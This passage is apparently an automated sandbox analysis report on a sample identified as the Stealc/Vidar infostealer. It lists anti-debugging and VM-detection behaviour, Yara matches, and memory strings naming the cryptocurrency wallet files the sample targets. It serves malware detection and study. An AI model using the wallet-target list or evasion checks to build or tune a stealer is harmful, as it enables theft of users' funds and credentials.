Source: C:\Users\user\Desktop\file.exe TID: 4044	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5688	Thread sleep time: -44022s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA3C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6CA3C930

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2665214852.0000000000F87000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2694857353.0000000023C80000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: chrome.exe, 00000003.00000002.2433417358.0000716C028E4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware
Source: chrome.exe, 00000003.00000002.2433361189.0000716C028C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware Virtual USB Mouse
Source: file.exe, 00000000.00000002.2694857353.0000000023C80000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware20,11696487552x
Source: chrome.exe, 00000003.00000002.2439064569.0000716C02C88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: USB device added: path=\\?\usb#vid_0e0f&pid_0003#5&2dda038&0&5#{a5dcbf10-6530-11d2-901f-00c04fb951ed} vendor=3599 "VMware", product=3 "VMware Virtual USB Mouse", serial="", driver="usbccgp", guid=a9a51456-e70b-4758-9af8-987332a478d7ql
Source: chrome.exe, 00000003.00000002.2439064569.0000716C02C88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ce added: path=\\?\usb#vid_0e0f&pid_0003#5&2dda038&0&5#{a5dcbf10-6530-11d2-901f-00c04fb951ed} vendor=3599 "VMware", product=3 "VMware Virtual USB Mouse", serial="", driver="usbccgp", guid=a9a51456-e70b-4758-9af8-987332a478d7
Source: file.exe, 00000000.00000002.2694857353.0000000023C80000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000002.2666421532.00000000018CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2666421532.0000000001947000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2666421532.0000000001915000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: msedge.exe, 00000007.00000003.2368129480.00000E2000390000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware20,1(
Source: file.exe, 00000000.00000002.2694857353.0000000023C80000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: file.exe, 00000000.00000002.2665214852.0000000000F87000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000002.2694857353.0000000023C80000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552
Source: chrome.exe, 00000003.00000002.2439064569.0000716C02C88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: USB device added: path=\\?\usb#vid_0e0f&pid_0003#5&2dda038&0&5#{a5dcbf10-6530-11d2-901f-00c04fb951ed} vendor=3599 "VMware", product=3 "VMware Virtual USB Mouse", serial="", driver="usbccgp", guid=a9a51456-e70b-4758-9af8-987332a478d7
Source: chrome.exe, 00000003.00000002.2439064569.0000716C02C88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ce added: path=\\?\usb#vid_0e0f&pid_0003#5&2dda038&0&5#{a5dcbf10-6530-11d2-901f-00c04fb951ed} vendor=3599 "VMware", product=3 "VMware Virtual USB Mouse", serial="", driver="usbccgp", guid=a9a51456-e70b-4758-9af8-987332a478d7ql
Source: msedge.exe, 00000007.00000002.2438498573.00000280AE244000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: file.exe, 00000000.00000002.2694857353.0000000023C80000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1RECOVE~1470bankoRecoveryImprovedVMware20,11696487552x
Source: chrome.exe, 00000003.00000002.2439064569.0000716C02C88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ce added: path=\\?\usb#vid_0e0f&pid_0003#5&2dda038&0&5#{a5dcbf10-6530-11d2-901f-00c04fb951ed} vendor=3599 "VMware", product=3 "VMware Virtual USB Mouse", serial="", driver="usbccgp", guid=a9a51456-e70b-4758-9af8-987332a478d7
Source: chrome.exe, 00000003.00000002.2352319435.000001E4E249B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllhh

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA85FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6CA85FF0

Source: C:\Users\user\Desktop\file.exe

0_2_6CA23480

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6CA5B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CA5B1F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC0AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CC0AC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 3960, type: MEMORYSTR

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe protection: readonly

Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2665214852.0000000000F87000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: uProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA5B341 cpuid

0_2_6CA5B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA235A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6CA235A0

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.b20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2155476235.0000000005560000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2666421532.00000000018CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2664752549.0000000000B21000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3960, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 3960, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2694857353.0000000023CEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Electrum\wallets\\./
Source: file.exe, 00000000.00000002.2694857353.0000000023CEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2694857353.0000000023CEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Electrum\wallets\\./
Source: file.exe, 00000000.00000002.2666421532.0000000001998000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\jaxx\Local Storage\\file__0.localstorage=
Source: file.exe, 00000000.00000002.2694857353.0000000023CEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2694857353.0000000023CEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2666421532.0000000001998000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\passphrase.json#]
Source: file.exe, 00000000.00000002.2694857353.0000000023CEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2694857353.0000000023CEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2666421532.0000000001998000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\passphrase.json#]
Source: file.exe, 00000000.00000002.2666421532.0000000001998000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\jaxx\Local Storage\\file__0.localstorage=
Source: file.exe, 00000000.00000002.2694857353.0000000023CEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2666421532.0000000001998000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\passphrase.json#]
Source: file.exe, 00000000.00000002.2666421532.0000000001947000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\.finger-print.fp
Source: file.exe, 00000000.00000002.2666421532.0000000001998000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\jaxx\Local Storage\\file__0.localstorage=
